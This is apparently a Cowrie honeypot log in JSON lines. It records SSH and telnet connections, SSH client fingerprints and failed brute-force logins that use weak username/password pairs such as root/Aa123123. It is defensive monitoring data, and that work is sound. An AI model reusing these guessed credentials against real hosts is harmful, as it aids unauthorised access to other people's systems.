{"eventid":"cowrie.session.closed","duration":30.637702703475952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:23.032810Z","src_ip":"45.76.238.8","session":"44bb1036ee86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964688062667847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:25.016826Z","src_ip":"41.77.113.30","session":"23a09cafff46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90191674232483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:25.229337Z","src_ip":"185.228.27.170","session":"fddaaf9543f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50480,"dst_ip":"159.203.135.109","dst_port":22,"session":"87495c9bbdb3","protocol":"ssh","message":"New connection: 192.109.200.78:50480 (159.203.135.109:22) [session: 87495c9bbdb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:25.391573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:25.396074Z","src_ip":"192.109.200.78","session":"87495c9bbdb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:25.484187Z","src_ip":"192.109.200.78","session":"87495c9bbdb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:25.732408Z","src_ip":"192.109.200.78","session":"87495c9bbdb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.766077518463135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:26.127988Z","src_ip":"165.232.97.211","session":"08ebca5efaf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:26.817215Z","src_ip":"192.109.200.78","session":"87495c9bbdb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.64741039276123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:27.287544Z","src_ip":"66.116.199.165","session":"79adc1c9669d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04827308654785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:29.349329Z","src_ip":"95.154.235.92","session":"188f5e253c7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49766,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee2552ad4925","protocol":"ssh","message":"New connection: 192.109.200.78:49766 (159.203.135.109:22) [session: ee2552ad4925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:29.580328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:29.585252Z","src_ip":"192.109.200.78","session":"ee2552ad4925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:29.670514Z","src_ip":"192.109.200.78","session":"ee2552ad4925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:29.917504Z","src_ip":"192.109.200.78","session":"ee2552ad4925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49647331237793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:30.150540Z","src_ip":"82.180.146.225","session":"b53bd373e91a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:31.005948Z","src_ip":"192.109.200.78","session":"ee2552ad4925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.572962522506714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:34.053547Z","src_ip":"20.238.95.212","session":"2f6246b906be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":56488,"dst_ip":"10.17.0.5","dst_port":22,"session":"35d6732c43dc","protocol":"ssh","message":"New connection: 177.54.62.66:56488 (10.17.0.5:22) [session: 35d6732c43dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:34.370401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:34.375027Z","src_ip":"177.54.62.66","session":"35d6732c43dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:34.506921Z","src_ip":"177.54.62.66","session":"35d6732c43dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49774,"dst_ip":"159.203.135.109","dst_port":22,"session":"77026e96fc74","protocol":"ssh","message":"New connection: 192.109.200.78:49774 (159.203.135.109:22) [session: 77026e96fc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:34.635852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:34.640748Z","src_ip":"192.109.200.78","session":"77026e96fc74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:34.722653Z","src_ip":"192.109.200.78","session":"77026e96fc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:34.975237Z","src_ip":"192.109.200.78","session":"77026e96fc74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.838252782821655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:35.045167Z","src_ip":"212.28.189.160","session":"c67b84d5ea07","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"8888","message":"login attempt [user/8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:35.066064Z","src_ip":"177.54.62.66","session":"35d6732c43dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:36.060312Z","src_ip":"192.109.200.78","session":"77026e96fc74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.68.119.60","src_port":58408,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb0ca74efe36","protocol":"telnet","message":"New connection: 77.68.119.60:58408 (10.17.0.5:23) [session: bb0ca74efe36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:36.192930Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:36.199529Z","src_ip":"177.54.62.66","session":"35d6732c43dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49780,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba9b51e53d1","protocol":"ssh","message":"New connection: 192.109.200.78:49780 (159.203.135.109:22) [session: 5ba9b51e53d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:37.986552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:37.990794Z","src_ip":"192.109.200.78","session":"5ba9b51e53d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:38.072924Z","src_ip":"192.109.200.78","session":"5ba9b51e53d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:38.320396Z","src_ip":"192.109.200.78","session":"5ba9b51e53d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:39.406507Z","src_ip":"192.109.200.78","session":"5ba9b51e53d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49670,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3690f0f1b6e","protocol":"ssh","message":"New connection: 192.109.200.78:49670 (159.203.135.109:22) [session: d3690f0f1b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:42.095297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:42.099938Z","src_ip":"192.109.200.78","session":"d3690f0f1b6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:42.253772Z","src_ip":"192.109.200.78","session":"d3690f0f1b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:42.561504Z","src_ip":"192.109.200.78","session":"d3690f0f1b6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46642,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f48602f3ab1","protocol":"ssh","message":"New connection: 159.203.92.129:46642 (159.203.135.109:22) [session: 0f48602f3ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:42.757621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:42.762839Z","src_ip":"159.203.92.129","session":"0f48602f3ab1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:42.767974Z","src_ip":"159.203.92.129","session":"0f48602f3ab1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RADI0","password":"RADI0","message":"login attempt [RADI0/RADI0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:42.779169Z","src_ip":"159.203.92.129","session":"0f48602f3ab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:43.646481Z","src_ip":"192.109.200.78","session":"d3690f0f1b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:43.785513Z","src_ip":"159.203.92.129","session":"0f48602f3ab1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49674,"dst_ip":"159.203.135.109","dst_port":22,"session":"18f3563befe0","protocol":"ssh","message":"New connection: 192.109.200.78:49674 (159.203.135.109:22) [session: 18f3563befe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:46.205757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:46.211018Z","src_ip":"192.109.200.78","session":"18f3563befe0","protocol":"ssh"}
